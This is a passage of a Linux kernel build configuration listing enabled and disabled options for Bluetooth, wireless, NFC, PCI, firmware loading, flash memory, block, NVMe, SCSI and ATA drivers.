CONFIG_CAN_J1939=y
CONFIG_CAN_ISOTP=y
CONFIG_BT=y
CONFIG_BT_BREDR=y
CONFIG_BT_RFCOMM=y
CONFIG_BT_RFCOMM_TTY=y
CONFIG_BT_BNEP=y
CONFIG_BT_BNEP_MC_FILTER=y
CONFIG_BT_BNEP_PROTO_FILTER=y
CONFIG_BT_HIDP=y
CONFIG_BT_LE=y
CONFIG_BT_LE_L2CAP_ECRED=y
CONFIG_BT_6LOWPAN=y
CONFIG_BT_LEDS=y
CONFIG_BT_MSFTEXT=y
# CONFIG_BT_AOSPEXT is not set
# CONFIG_BT_DEBUGFS is not set
# CONFIG_BT_SELFTEST is not set

#
# Bluetooth device drivers
#
CONFIG_BT_INTEL=y
CONFIG_BT_BCM=y
CONFIG_BT_RTL=y
CONFIG_BT_QCA=y
CONFIG_BT_MTK=y
CONFIG_BT_HCIBTUSB=y
CONFIG_BT_HCIBTUSB_AUTOSUSPEND=y
CONFIG_BT_HCIBTUSB_POLL_SYNC=y
CONFIG_BT_HCIBTUSB_BCM=y
CONFIG_BT_HCIBTUSB_MTK=y
CONFIG_BT_HCIBTUSB_RTL=y
# CONFIG_BT_HCIBTSDIO is not set
CONFIG_BT_HCIUART=y
CONFIG_BT_HCIUART_SERDEV=y
CONFIG_BT_HCIUART_H4=y
# CONFIG_BT_HCIUART_NOKIA is not set
CONFIG_BT_HCIUART_BCSP=y
# CONFIG_BT_HCIUART_ATH3K is not set
CONFIG_BT_HCIUART_LL=y
CONFIG_BT_HCIUART_3WIRE=y
# CONFIG_BT_HCIUART_INTEL is not set
# CONFIG_BT_HCIUART_BCM is not set
# CONFIG_BT_HCIUART_RTL is not set
CONFIG_BT_HCIUART_QCA=y
CONFIG_BT_HCIUART_AG6XX=y
CONFIG_BT_HCIUART_MRVL=y
# CONFIG_BT_HCIUART_AML is not set
CONFIG_BT_HCIBCM203X=y
# CONFIG_BT_HCIBCM4377 is not set
CONFIG_BT_HCIBPA10X=y
CONFIG_BT_HCIBFUSB=y
CONFIG_BT_HCIVHCI=y
CONFIG_BT_MRVL=y
CONFIG_BT_MRVL_SDIO=y
CONFIG_BT_ATH3K=y
CONFIG_BT_MTKSDIO=y
CONFIG_BT_MTKUART=y
# CONFIG_BT_VIRTIO is not set
# CONFIG_BT_NXPUART is not set
# CONFIG_BT_INTEL_PCIE is not set
# end of Bluetooth device drivers

CONFIG_AF_RXRPC=y
CONFIG_AF_RXRPC_IPV6=y
# CONFIG_AF_RXRPC_INJECT_LOSS is not set
# CONFIG_AF_RXRPC_INJECT_RX_DELAY is not set
# CONFIG_AF_RXRPC_DEBUG is not set
CONFIG_RXKAD=y
# CONFIG_RXGK is not set
# CONFIG_RXPERF is not set
CONFIG_AF_KCM=y
CONFIG_STREAM_PARSER=y
CONFIG_MCTP=y
CONFIG_FIB_RULES=y
CONFIG_WIRELESS=y
CONFIG_WEXT_CORE=y
CONFIG_WEXT_PROC=y
CONFIG_CFG80211=y
# CONFIG_NL80211_TESTMODE is not set
# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set
# CONFIG_CFG80211_CERTIFICATION_ONUS is not set
CONFIG_CFG80211_REQUIRE_SIGNED_REGDB=y
CONFIG_CFG80211_USE_KERNEL_REGDB_KEYS=y
CONFIG_CFG80211_DEFAULT_PS=y
CONFIG_CFG80211_DEBUGFS=y
CONFIG_CFG80211_CRDA_SUPPORT=y
CONFIG_CFG80211_WEXT=y
CONFIG_MAC80211=y
CONFIG_MAC80211_HAS_RC=y
CONFIG_MAC80211_RC_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT="minstrel_ht"
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_LEDS=y
CONFIG_MAC80211_DEBUGFS=y
# CONFIG_MAC80211_MESSAGE_TRACING is not set
# CONFIG_MAC80211_DEBUG_MENU is not set
CONFIG_MAC80211_STA_HASH_MAX_SIZE=0
CONFIG_RFKILL=y
CONFIG_RFKILL_LEDS=y
CONFIG_RFKILL_INPUT=y
# CONFIG_RFKILL_GPIO is not set
CONFIG_NET_9P=y
CONFIG_NET_9P_FD=y
CONFIG_NET_9P_VIRTIO=y
# CONFIG_NET_9P_USBG is not set
CONFIG_NET_9P_RDMA=y
# CONFIG_NET_9P_DEBUG is not set
CONFIG_CEPH_LIB=y
# CONFIG_CEPH_LIB_PRETTYDEBUG is not set
CONFIG_CEPH_LIB_USE_DNS_RESOLVER=y
CONFIG_NFC=y
CONFIG_NFC_DIGITAL=y
CONFIG_NFC_NCI=y
# CONFIG_NFC_NCI_SPI is not set
CONFIG_NFC_NCI_UART=y
CONFIG_NFC_HCI=y
CONFIG_NFC_SHDLC=y

#
# Near Field Communication (NFC) devices
#
# CONFIG_NFC_TRF7970A is not set
# CONFIG_NFC_MEI_PHY is not set
CONFIG_NFC_SIM=y
CONFIG_NFC_PORT100=y
CONFIG_NFC_VIRTUAL_NCI=y
CONFIG_NFC_FDP=y
# CONFIG_NFC_FDP_I2C is not set
# CONFIG_NFC_PN544_I2C is not set
CONFIG_NFC_PN533=y
CONFIG_NFC_PN533_USB=y
# CONFIG_NFC_PN533_I2C is not set
# CONFIG_NFC_PN532_UART is not set
# CONFIG_NFC_MICROREAD_I2C is not set
CONFIG_NFC_MRVL=y
CONFIG_NFC_MRVL_USB=y
# CONFIG_NFC_MRVL_UART is not set
# CONFIG_NFC_MRVL_I2C is not set
# CONFIG_NFC_ST21NFCA_I2C is not set
# CONFIG_NFC_ST_NCI_I2C is not set
# CONFIG_NFC_ST_NCI_SPI is not set
# CONFIG_NFC_NXP_NCI is not set
# CONFIG_NFC_S3FWRN5_I2C is not set
# CONFIG_NFC_S3FWRN82_UART is not set
# CONFIG_NFC_ST95HF is not set
# end of Near Field Communication (NFC) devices

CONFIG_PSAMPLE=y
CONFIG_NET_IFE=y
CONFIG_LWTUNNEL=y
CONFIG_LWTUNNEL_BPF=y
CONFIG_DST_CACHE=y
CONFIG_GRO_CELLS=y
CONFIG_SOCK_VALIDATE_XMIT=y
CONFIG_NET_SELFTESTS=y
CONFIG_NET_SOCK_MSG=y
CONFIG_NET_DEVLINK=y
CONFIG_PAGE_POOL=y
# CONFIG_PAGE_POOL_STATS is not set
CONFIG_FAILOVER=y
CONFIG_ETHTOOL_NETLINK=y

#
# Device Drivers
#
CONFIG_HAVE_PCI=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_PCI=y
CONFIG_PCI_DOMAINS=y
CONFIG_PCIEPORTBUS=y
CONFIG_HOTPLUG_PCI_PCIE=y
CONFIG_PCIEAER=y
# CONFIG_PCIEAER_INJECT is not set
# CONFIG_PCIE_ECRC is not set
CONFIG_PCIEASPM=y
CONFIG_PCIEASPM_DEFAULT=y
# CONFIG_PCIEASPM_POWERSAVE is not set
# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set
# CONFIG_PCIEASPM_PERFORMANCE is not set
CONFIG_PCIE_PME=y
# CONFIG_PCIE_DPC is not set
# CONFIG_PCIE_PTM is not set
CONFIG_PCI_MSI=y
CONFIG_PCI_QUIRKS=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_PF_STUB is not set
CONFIG_PCI_ATS=y
# CONFIG_PCI_TSM is not set
# CONFIG_PCI_DOE is not set
CONFIG_PCI_ECAM=y
CONFIG_PCI_LOCKLESS_CONFIG=y
CONFIG_PCI_IOV=y
# CONFIG_PCI_NPEM is not set
CONFIG_PCI_PRI=y
CONFIG_PCI_PASID=y
# CONFIG_PCIE_TPH is not set
# CONFIG_PCI_P2PDMA is not set
CONFIG_PCI_LABEL=y
# CONFIG_PCI_DYNAMIC_OF_NODES is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
CONFIG_HOTPLUG_PCI=y
# CONFIG_HOTPLUG_PCI_ACPI is not set
# CONFIG_HOTPLUG_PCI_CPCI is not set
# CONFIG_HOTPLUG_PCI_OCTEONEP is not set
# CONFIG_HOTPLUG_PCI_SHPC is not set

#
# PCI controller drivers
#
CONFIG_PCI_HOST_COMMON=y
# CONFIG_PCI_FTPCI100 is not set
CONFIG_PCI_HOST_GENERIC=y
# CONFIG_VMD is not set
# CONFIG_PCIE_XILINX is not set

#
# Cadence-based PCIe controllers
#
# CONFIG_PCIE_CADENCE_PLAT_HOST is not set
# CONFIG_PCIE_CADENCE_PLAT_EP is not set
# end of Cadence-based PCIe controllers

#
# DesignWare-based PCIe controllers
#
# CONFIG_PCI_MESON is not set
# CONFIG_PCIE_INTEL_GW is not set
# CONFIG_PCIE_DW_PLAT_HOST is not set
# CONFIG_PCIE_DW_PLAT_EP is not set
# end of DesignWare-based PCIe controllers

#
# Mobiveil-based PCIe controllers
#
# end of Mobiveil-based PCIe controllers

#
# PLDA-based PCIe controllers
#
# CONFIG_PCIE_MICROCHIP_HOST is not set
# end of PLDA-based PCIe controllers
# end of PCI controller drivers

#
# PCI Endpoint
#
CONFIG_PCI_ENDPOINT=y
# CONFIG_PCI_ENDPOINT_CONFIGFS is not set
# CONFIG_PCI_ENDPOINT_MSI_DOORBELL is not set
# CONFIG_PCI_EPF_TEST is not set
# CONFIG_PCI_EPF_NTB is not set
# end of PCI Endpoint

#
# PCI switch controller drivers
#
# CONFIG_PCI_SW_SWITCHTEC is not set
# end of PCI switch controller drivers

# CONFIG_PCI_PWRCTRL_GENERIC is not set
# CONFIG_PCI_PWRCTRL_TC9563 is not set
# CONFIG_CXL_BUS is not set
CONFIG_PCCARD=y
CONFIG_PCMCIA=y
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
# CONFIG_PD6729 is not set
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_RAPIDIO is not set
# CONFIG_PC104 is not set

#
# Generic Driver Options
#
CONFIG_AUXILIARY_BUS=y
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
# CONFIG_DEVTMPFS_SAFE is not set
CONFIG_DRIVER_DEFERRED_PROBE_TIMEOUT=10
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y

#
# Firmware loader
#
CONFIG_FW_LOADER=y
# CONFIG_FW_LOADER_DEBUG is not set
CONFIG_FW_LOADER_PAGED_BUF=y
CONFIG_FW_LOADER_SYSFS=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y
CONFIG_FW_LOADER_COMPRESS=y
# CONFIG_FW_LOADER_COMPRESS_XZ is not set
# CONFIG_FW_LOADER_COMPRESS_ZSTD is not set
CONFIG_FW_CACHE=y
# CONFIG_FW_UPLOAD is not set
# end of Firmware loader

CONFIG_WANT_DEV_COREDUMP=y
CONFIG_ALLOW_DEV_COREDUMP=y
CONFIG_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
CONFIG_DEBUG_DEVRES=y
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
CONFIG_GENERIC_CPU_DEVICES=y
CONFIG_GENERIC_CPU_AUTOPROBE=y
CONFIG_GENERIC_CPU_VULNERABILITIES=y
CONFIG_REGMAP=y
CONFIG_REGMAP_I2C=y
CONFIG_REGMAP_SPI=y
CONFIG_REGMAP_MMIO=y
CONFIG_REGMAP_IRQ=y
CONFIG_DMA_SHARED_BUFFER=y
# CONFIG_FW_DEVLINK_SYNC_STATE_TIMEOUT is not set
# end of Generic Driver Options

#
# Bus devices
#
# CONFIG_MOXTET is not set
CONFIG_MHI_BUS=y
# CONFIG_MHI_BUS_DEBUG is not set
# CONFIG_MHI_BUS_PCI_GENERIC is not set
# CONFIG_MHI_BUS_EP is not set
# end of Bus devices

CONFIG_CONNECTOR=y
CONFIG_PROC_EVENTS=y

#
# Firmware Drivers
#

#
# ARM System Control and Management Interface Protocol
#
# end of ARM System Control and Management Interface Protocol

# CONFIG_EDD is not set
CONFIG_FIRMWARE_MEMMAP=y
CONFIG_DMIID=y
# CONFIG_DMI_SYSFS is not set
CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y
# CONFIG_ISCSI_IBFT is not set
# CONFIG_FW_CFG_SYSFS is not set
CONFIG_SYSFB=y
# CONFIG_SYSFB_SIMPLEFB is not set
CONFIG_GOOGLE_FIRMWARE=y
# CONFIG_GOOGLE_SMI is not set
# CONFIG_GOOGLE_CBMEM is not set
CONFIG_GOOGLE_COREBOOT_TABLE=y
CONFIG_GOOGLE_MEMCONSOLE=y
# CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY is not set
# CONFIG_GOOGLE_FRAMEBUFFER_COREBOOT is not set
CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y
CONFIG_GOOGLE_VPD=y

#
# Qualcomm firmware drivers
#
# CONFIG_QCOM_PAS is not set
# CONFIG_QCOM_PAS_TEE is not set
# CONFIG_QCOM_SCM is not set
# end of Qualcomm firmware drivers

#
# Tegra firmware driver
#
# end of Tegra firmware driver
# end of Firmware Drivers

# CONFIG_FWCTL is not set
CONFIG_GNSS=y
# CONFIG_GNSS_MTK_SERIAL is not set
# CONFIG_GNSS_SIRF_SERIAL is not set
# CONFIG_GNSS_UBX_SERIAL is not set
CONFIG_GNSS_USB=y
CONFIG_MTD=y
# CONFIG_MTD_TESTS is not set

#
# Partition parsers
#
# CONFIG_MTD_CMDLINE_PARTS is not set
# CONFIG_MTD_OF_PARTS is not set
# CONFIG_MTD_REDBOOT_PARTS is not set
# end of Partition parsers

#
# User Modules And Translation Layers
#
CONFIG_MTD_BLKDEVS=y
CONFIG_MTD_BLOCK=y

#
# Note that in some cases UBI block is preferred. See MTD_UBI_BLOCK.
#
CONFIG_FTL=y
# CONFIG_NFTL is not set
# CONFIG_INFTL is not set
# CONFIG_RFD_FTL is not set
# CONFIG_SSFDC is not set
# CONFIG_SM_FTL is not set
# CONFIG_MTD_OOPS is not set
# CONFIG_MTD_SWAP is not set
# CONFIG_MTD_PARTITIONED_MASTER is not set

#
# RAM/ROM/Flash chip drivers
#
# CONFIG_MTD_CFI is not set
# CONFIG_MTD_JEDECPROBE is not set
CONFIG_MTD_MAP_BANK_WIDTH_1=y
CONFIG_MTD_MAP_BANK_WIDTH_2=y
CONFIG_MTD_MAP_BANK_WIDTH_4=y
CONFIG_MTD_CFI_I1=y
CONFIG_MTD_CFI_I2=y
# CONFIG_MTD_RAM is not set
# CONFIG_MTD_ROM is not set
# CONFIG_MTD_ABSENT is not set
# end of RAM/ROM/Flash chip drivers

#
# Mapping drivers for chip access
#
# CONFIG_MTD_COMPLEX_MAPPINGS is not set
# CONFIG_MTD_PLATRAM is not set
# end of Mapping drivers for chip access

#
# Self-contained MTD device drivers
#
# CONFIG_MTD_PMC551 is not set
# CONFIG_MTD_DATAFLASH is not set
# CONFIG_MTD_MCHP23K256 is not set
# CONFIG_MTD_MCHP48L640 is not set
# CONFIG_MTD_SST25L is not set
CONFIG_MTD_SLRAM=y
CONFIG_MTD_PHRAM=y
CONFIG_MTD_MTDRAM=y
CONFIG_MTDRAM_TOTAL_SIZE=128
CONFIG_MTDRAM_ERASE_SIZE=4
CONFIG_MTD_BLOCK2MTD=y
# CONFIG_MTD_INTEL_DG is not set

#
# Disk-On-Chip Device Drivers
#
# CONFIG_MTD_DOCG3 is not set
# end of Self-contained MTD device drivers

#
# NAND
#
# CONFIG_MTD_ONENAND is not set
# CONFIG_MTD_RAW_NAND is not set
# CONFIG_MTD_SPI_NAND is not set

#
# ECC engine support
#
# CONFIG_MTD_NAND_ECC_SW_HAMMING is not set
# CONFIG_MTD_NAND_ECC_SW_BCH is not set
# CONFIG_MTD_NAND_ECC_MXIC is not set
# end of ECC engine support
# end of NAND

#
# LPDDR & LPDDR2 PCM memory drivers
#
# CONFIG_MTD_LPDDR is not set
# end of LPDDR & LPDDR2 PCM memory drivers

# CONFIG_MTD_SPI_NOR is not set
CONFIG_MTD_UBI=y
CONFIG_MTD_UBI_WL_THRESHOLD=4096
CONFIG_MTD_UBI_BEB_LIMIT=20
# CONFIG_MTD_UBI_FASTMAP is not set
# CONFIG_MTD_UBI_GLUEBI is not set
# CONFIG_MTD_UBI_BLOCK is not set
# CONFIG_MTD_UBI_FAULT_INJECTION is not set
# CONFIG_MTD_UBI_NVMEM is not set
# CONFIG_MTD_HYPERBUS is not set
CONFIG_DTC=y
CONFIG_OF=y
# CONFIG_OF_UNITTEST is not set
CONFIG_OF_FLATTREE=y
CONFIG_OF_EARLY_FLATTREE=y
CONFIG_OF_KOBJ=y
CONFIG_OF_ADDRESS=y
CONFIG_OF_IRQ=y
CONFIG_OF_RESERVED_MEM=y
# CONFIG_OF_OVERLAY is not set
CONFIG_OF_NUMA=y
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_PNP=y
CONFIG_PNP_DEBUG_MESSAGES=y

#
# Protocols
#
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_NULL_BLK=y
CONFIG_BLK_DEV_NULL_BLK_FAULT_INJECTION=y
# CONFIG_BLK_DEV_FD is not set
CONFIG_CDROM=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
CONFIG_ZRAM=y
# CONFIG_ZRAM_BACKEND_LZ4 is not set
# CONFIG_ZRAM_BACKEND_LZ4HC is not set
# CONFIG_ZRAM_BACKEND_ZSTD is not set
# CONFIG_ZRAM_BACKEND_DEFLATE is not set
# CONFIG_ZRAM_BACKEND_842 is not set
CONFIG_ZRAM_BACKEND_FORCE_LZO=y
CONFIG_ZRAM_BACKEND_LZO=y
# CONFIG_ZRAM_DEF_COMP_LZORLE is not set
CONFIG_ZRAM_DEF_COMP_LZO=y
CONFIG_ZRAM_DEF_COMP="lzo"
# CONFIG_ZRAM_WRITEBACK is not set
# CONFIG_ZRAM_TRACK_ENTRY_ACTIME is not set
# CONFIG_ZRAM_MEMORY_TRACKING is not set
# CONFIG_ZRAM_MULTI_COMP is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=16
# CONFIG_BLK_DEV_DRBD is not set
CONFIG_BLK_DEV_NBD=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_ATA_OVER_ETH=y
CONFIG_VIRTIO_BLK=y
# CONFIG_BLK_DEV_RBD is not set
CONFIG_BLK_DEV_UBLK=y
CONFIG_BLKDEV_UBLK_LEGACY_OPCODES=y
CONFIG_BLK_DEV_RNBD=y
CONFIG_BLK_DEV_RNBD_CLIENT=y
# CONFIG_BLK_DEV_ZONED_LOOP is not set

#
# NVME Support
#
CONFIG_NVME_CORE=y
CONFIG_BLK_DEV_NVME=y
CONFIG_NVME_MULTIPATH=y
# CONFIG_NVME_VERBOSE_ERRORS is not set
# CONFIG_NVME_HWMON is not set
CONFIG_NVME_FABRICS=y
CONFIG_NVME_RDMA=y
CONFIG_NVME_FC=y
CONFIG_NVME_TCP=y
# CONFIG_NVME_TCP_TLS is not set
# CONFIG_NVME_HOST_AUTH is not set
CONFIG_NVME_TARGET=y
# CONFIG_NVME_TARGET_DEBUGFS is not set
# CONFIG_NVME_TARGET_PASSTHRU is not set
CONFIG_NVME_TARGET_LOOP=y
CONFIG_NVME_TARGET_RDMA=y
CONFIG_NVME_TARGET_FC=y
CONFIG_NVME_TARGET_FCLOOP=y
CONFIG_NVME_TARGET_TCP=y
# CONFIG_NVME_TARGET_TCP_TLS is not set
# CONFIG_NVME_TARGET_AUTH is not set
# CONFIG_NVME_TARGET_PCI_EPF is not set
# end of NVME Support

#
# Misc devices
#
# CONFIG_AD525X_DPOT is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_PHANTOM is not set
# CONFIG_RPMB is not set
# CONFIG_TI_FPC202 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_VMWARE_BALLOON is not set
# CONFIG_LATTICE_ECP3_CONFIG is not set
# CONFIG_SRAM is not set
# CONFIG_DW_XDATA_PCIE is not set
# CONFIG_PCI_ENDPOINT_TEST is not set
# CONFIG_XILINX_SDFEC is not set
CONFIG_MISC_RTSX=y
# CONFIG_OPEN_DICE is not set
# CONFIG_NTSYNC is not set
# CONFIG_VCPU_STALL_DETECTOR is not set
# CONFIG_NSM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_MAX6875 is not set
CONFIG_EEPROM_93CX6=y
# CONFIG_EEPROM_IDT_89HPESX is not set
# end of EEPROM support

# CONFIG_CB710_CORE is not set
# CONFIG_SENSORS_LIS3_I2C is not set
# CONFIG_ALTERA_STAPL is not set
CONFIG_INTEL_MEI=y
CONFIG_INTEL_MEI_ME=y
# CONFIG_INTEL_MEI_TXE is not set
# CONFIG_INTEL_MEI_GSC is not set
# CONFIG_INTEL_MEI_CSC is not set
# CONFIG_INTEL_MEI_VSC_HW is not set
# CONFIG_INTEL_MEI_HDCP is not set
# CONFIG_INTEL_MEI_PXP is not set
# CONFIG_INTEL_MEI_GSC_PROXY is not set
CONFIG_VMWARE_VMCI=y
# CONFIG_GENWQE is not set
# CONFIG_BCM_VK is not set
# CONFIG_MISC_ALCOR_PCI is not set
# CONFIG_MISC_RTSX_PCI is not set
CONFIG_MISC_RTSX_USB=y
# CONFIG_UACCE is not set
# CONFIG_PVPANIC is not set
# CONFIG_GP_PCI1XXXX is not set
# CONFIG_KEBA_CP500 is not set
# CONFIG_MISC_RP1 is not set
# CONFIG_INTEL_SSEI is not set
# end of Misc devices

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
CONFIG_RAID_ATTRS=y
CONFIG_SCSI_COMMON=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
CONFIG_CHR_DEV_SG=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
CONFIG_SCSI_FC_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=y
CONFIG_SCSI_SAS_ATTRS=y
CONFIG_SCSI_SAS_LIBSAS=y
CONFIG_SCSI_SAS_ATA=y
# CONFIG_SCSI_SAS_HOST_SMP is not set
CONFIG_SCSI_SRP_ATTRS=y
# end of SCSI Transports

CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
CONFIG_SCSI_HPSA=y
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPI3MR is not set
# CONFIG_SCSI_LEAPRAID is not set
# CONFIG_SCSI_SMARTPQI is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_MYRB is not set
# CONFIG_SCSI_MYRS is not set
# CONFIG_VMWARE_PVSCSI is not set
# CONFIG_LIBFC is not set
# CONFIG_SCSI_SNIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FDOMAIN_PCI is not set
# CONFIG_SCSI_ISCI is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_EFCT is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_BFA_FC is not set
CONFIG_SCSI_VIRTIO=y
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
# CONFIG_SCSI_DH is not set
# end of SCSI device support

CONFIG_ATA=y
CONFIG_SATA_HOST=y
CONFIG_PATA_TIMINGS=y
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_ATA_FORCE=y
CONFIG_ATA_ACPI=y
# CONFIG_SATA_ZPODD is not set
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
CONFIG_SATA_AHCI=y
CONFIG_SATA_MOBILE_LPM_POLICY=3
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_AHCI_DWC is not set
# CONFIG_AHCI_CEVA is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
CONFIG_ATA_PIIX=y
# CONFIG_SATA_DWC is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
CONFIG_PATA_AMD=y
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
CONFIG_PATA_OLDPIIX=y
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
CONFIG_PATA_SCH=y
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_PCMCIA is not set
# CONFIG_PATA_OF_PLATFORM is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_PATA_ACPI is not set
CONFIG_ATA_GENERIC=y
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_BITMAP=y
# CONFIG_MD_LLBITMAP is not set
